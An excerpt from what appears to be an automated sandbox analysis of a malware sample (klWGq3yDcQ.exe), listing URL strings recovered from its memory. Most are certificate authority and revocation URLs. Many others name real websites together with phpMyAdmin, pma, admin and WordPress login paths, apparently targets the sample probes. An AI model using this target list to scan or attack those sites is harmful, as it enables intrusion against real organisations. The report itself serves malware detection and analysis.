Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://adm.uksw.edu/PhpMyAdmin/6?
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://adm.uksw.edu/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://adm.uksw.edu/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://adm.uksw.edu/phpmyadmin/3?
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://adm.uksw.edu/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://adm.uksw.edu/pma/Admin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://americanrecords.it/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aoiit.store/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aoiit.store/d.edu.au
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004222000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2874889633.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CC0000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885992508.00000000040B4000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7cQv
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://awb-apparatebau.de/wp-login.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://awb-apparatebau.de/wp-login.phpadministrator/0.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.000000000405D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beachrecruitment.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.000000000405D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beachrecruitment.com/om
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B58000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://browsehappy.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bunasta.eu/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bunasta.eu/admin
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bunasta.eu/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bunasta.eu/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bunasta.eu/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://c.parkingcrew.net/scripts/sale_form.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C8000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887027217.00000000042A7000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertCloudServicesCA-1.crt0
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/GeoTrustEVRSACAG2.crt
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/GeoTrustEVRSACAG2.crt0
Source: klWGq3yDcQ.exe, 00000001.00000002.2888005557.000000000487E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/RapidSSLGlobalTLSRSA4096SHA2562022CA1.crt
Source: klWGq3yDcQ.exe, 00000001.00000002.2888005557.000000000487E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/RapidSSLGlobalTLSRSA4096SHA2562022CA1.crtv
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.rapidssl.com/RapidSSLTLSRSACAG1.crt
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040CB000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.rapidssl.com/RapidSSLTLSRSACAG1.crt0
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cardenas.mtz.rimed.cu/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cardenas.mtz.rimed.cu/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cardenas.mtz.rimed.cu/U
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cardenas.mtz.rimed.cu/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cardenas.mtz.rimed.cu/phpMyAdmin/S
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cardenas.mtz.rimed.cu/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cardenas.mtz.rimed.cu/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cardenas.mtz.rimed.cu/pma/Admin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://carelesscommunity.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://carelesscommunity.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://carelesscommunity.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://carelesscommunity.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://carelesscommunity.com/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040CB000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cdp.rapidssl.com/RapidSSLTLSRSACAG1.crl0v
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certificates.godaddy.com/repository/0
Source: klWGq3yDcQ.exe, 00000001.00000002.2887027217.00000000042A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certificates.starfieldtech.com/repository/0
Source: klWGq3yDcQ.exe, 00000001.00000002.2887588320.0000000004405000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certs.godaddy.com/repository/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.000000000433E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certs.godaddy.com/repository//CN=Go
Source: klWGq3yDcQ.exe, 00000001.00000002.2888110543.0000000004A1D000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004025000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2877202481.000000000342E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certs.godaddy.com/repository/1301
Source: klWGq3yDcQ.exe, 00000001.00000002.2887588320.0000000004405000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certs.godaddy.com/repository/ij~
Source: klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://coralparkchristian.org/wp-content/uploads/2015/10/CPCA-Shield.jpg)
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B58000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2874889633.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cps.root-x1.letsencrypt.org
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cps.root-x1.letsencrypt.org%
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004222000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2874889633.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CC0000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885992508.00000000040B4000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cps.root-x1.letsencrypt.org0
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cringemonster.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2874889633.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2877970062.00000000036EB000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000038B8000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/cPanelIncCertificationAuthority.crl0
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsrsaovsslca2018.crl
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsrsaovsslca2018.crl0
Source: klWGq3yDcQ.exe, 00000001.00000002.2868964891.0000000002A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: klWGq3yDcQ.exe, 00000001.00000002.2887588320.0000000004405000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CF7000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D05000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885992508.000000000408A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.godaddy.com/gdig2s1-9532.crl
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.godaddy.com/gdig2s1-9532.crl:
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.godaddy.com/gdig2s1-9532.crlsn
Source: klWGq3yDcQ.exe, 00000001.00000002.2887588320.0000000004405000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.godaddy.com/gdroot-g2.crl
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004025000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.godaddy.com/gdroot-g2.crl0F
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CF7000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D05000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885992508.000000000408A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004222000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2874889633.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CC0000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885992508.00000000040B4000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl0
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crlht
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.r2m01.amazontrust.com/r2m01.crl
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootg2.amazontrust.com/rootg2.crl
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/CloudflareIncECCCA-3.crl
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertCloudServicesCA-1-g1.crl
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C8000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887027217.00000000042A7000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertCloudServicesCA-1-g1.crl0?
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertCloudServicesCA-1-g1.crlEncod
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl-
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FC9000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C8000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl5
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crlcrlJ
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crlhu
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.000000000409A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.000000000409A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crln.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl.
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/GeoTrustEVRSACAG2.crl04
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/CloudflareIncECCCA-3.crl
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/CloudflareIncECCCA-3.crl8t
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertCloudServicesCA-1-g1.crl
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C8000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887027217.00000000042A7000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertCloudServicesCA-1-g1.crl0
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FC9000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C8000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crlM
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crlNh
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/GeoTrustEVRSACAG2.crl0J
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2888110543.0000000004A1D000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004218000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daisyokogyo.co.jp/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daisyokogyo.co.jp/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daisyokogyo.co.jp/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daisyokogyo.co.jp/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daisyokogyo.co.jp/phpmyadmin/m
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dbschooldelhi.ac.in/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dbschooldelhi.ac.in/0
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003C6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://digdig.org/wp-login.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://directlendersllc.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://directlendersllc.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://directlendersllc.com/phpMyAdmin/Q
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://directlendersllc.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://directlendersllc.com/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://directlendersllc.com/pma/k
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.000000000405D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dkrs.gov.ua/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dstaq.com/PhpMyAdmin/
